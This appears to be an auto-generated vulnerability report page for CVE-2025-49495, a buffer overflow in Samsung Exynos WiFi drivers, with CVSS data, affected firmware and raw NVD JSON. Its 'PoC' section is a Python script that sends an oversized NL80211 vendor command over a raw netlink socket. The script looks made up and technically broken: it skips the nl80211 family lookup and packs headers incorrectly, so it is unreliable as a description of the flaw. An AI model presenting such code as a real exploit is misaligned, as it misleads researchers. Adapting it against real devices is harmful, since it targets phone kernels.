Security Vulnerability Report
中文
CVE-2025-49495 CVSS 8.4 HIGH

CVE-2025-49495

Published: 2026-01-05 19:15:56
Last Modified: 2026-01-09 14:14:31

Description

An issue was discovered in the WiFi driver in Samsung Mobile Processor Exynos 1380, 1480, 2400, 1580. Mishandling of an NL80211 vendor command leads to a buffer overflow.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_1480:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_1580:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_2400_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_2400:-:*:*:*:*:*:*:* - NOT VULNERABLE
Samsung Exynos 1380 (所有版本)
Samsung Exynos 1480 (所有版本)
Samsung Exynos 2400 (所有版本)
Samsung Exynos 1580 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49495 PoC - NL80211 Vendor Command Buffer Overflow # Target: Samsung Exynos WiFi Driver # This PoC demonstrates the vulnerability concept (for research only) import socket import struct import os # NL80211 Netlink family NL80211_CMD_UNSPEC = 0 NL80211_CMD_VENDOR = 100 # Netlink message header NLMSG_HDRLEN = 16 NL80211_HDRLEN = 24 def create_nl80211_vendor_cmd(): """ Create malicious NL80211 vendor command to trigger buffer overflow """ # Vendor command attributes vendor_id = 0x001A8A # Samsung vendor ID subcmd = 0x0001 # Specific subcommand # Malicious payload - oversized data to trigger overflow # This is a simplified representation overflow_length = 2048 malicious_data = b'A' * overflow_length # Construct vendor attribute: NL80211_ATTR_VENDOR_DATA vendor_attr = struct.pack('<III', 0xAD, len(malicious_data) + 4, subcmd) vendor_attr += malicious_data # Construct NL80211 vendor command header nl80211_cmd = struct.pack('<III', vendor_id, subcmd, len(vendor_attr)) nl80211_cmd += vendor_attr # Netlink message header nlmsg_len = NLMSG_HDRLEN + NL80211_HDRLEN + len(nl80211_cmd) nlmsg = struct.pack('<IHHII', nlmsg_len, NL80211_CMD_UNSPEC, 0, os.getpid(), 0) nlmsg += struct.pack('<IBBHI', 0x10, 0x06, 0x00, 0x00, 0x00) # NL80211 header nlmsg += nl80211_cmd return nlmsg def send_malicious_command(): """ Send malicious NL80211 vendor command via Netlink socket """ try: sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, 0x000B) # Bind to process context sock.bind((os.getpid(), 0, 0)) # Create and send malicious command payload = create_nl80211_vendor_cmd() sock.sendto(payload, (0, 0)) print("Malicious NL80211 vendor command sent") sock.close() return True except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": print("CVE-2025-49495 PoC - Samsung Exynos WiFi Driver Overflow") print("This PoC is for educational and research purposes only.") send_malicious_command()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49495", "sourceIdentifier": "[email protected]", "published": "2026-01-05T19:15:56.193", "lastModified": "2026-01-09T14:14:30.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the WiFi driver in Samsung Mobile Processor Exynos 1380, 1480, 2400, 1580. Mishandling of an NL80211 vendor command leads to a buffer overflow."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "64897B0D-EBF6-4BEB-BF54-ABCDBFAB45E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1480:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3F328B4-0442-4748-B5EE-DD1CEE50D6CF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3594664-3CE6-4827-ABD4-B5719817F5D5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1580:-:*:*:*:*:*:*:*", "matchCriteriaId": "93C1F9E8-DA04-4466-AF66-01560A07BD98"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2400_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "16D9272E-1794-48FF-B6A4-8F48395BA38E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2400:-:*:*:*:*:*:*:*", "matchCriteriaId": "932F5FB3-5527-44D7-9DD9-EF03963E3CA3"}]}]}], "references": [{"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-49495/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}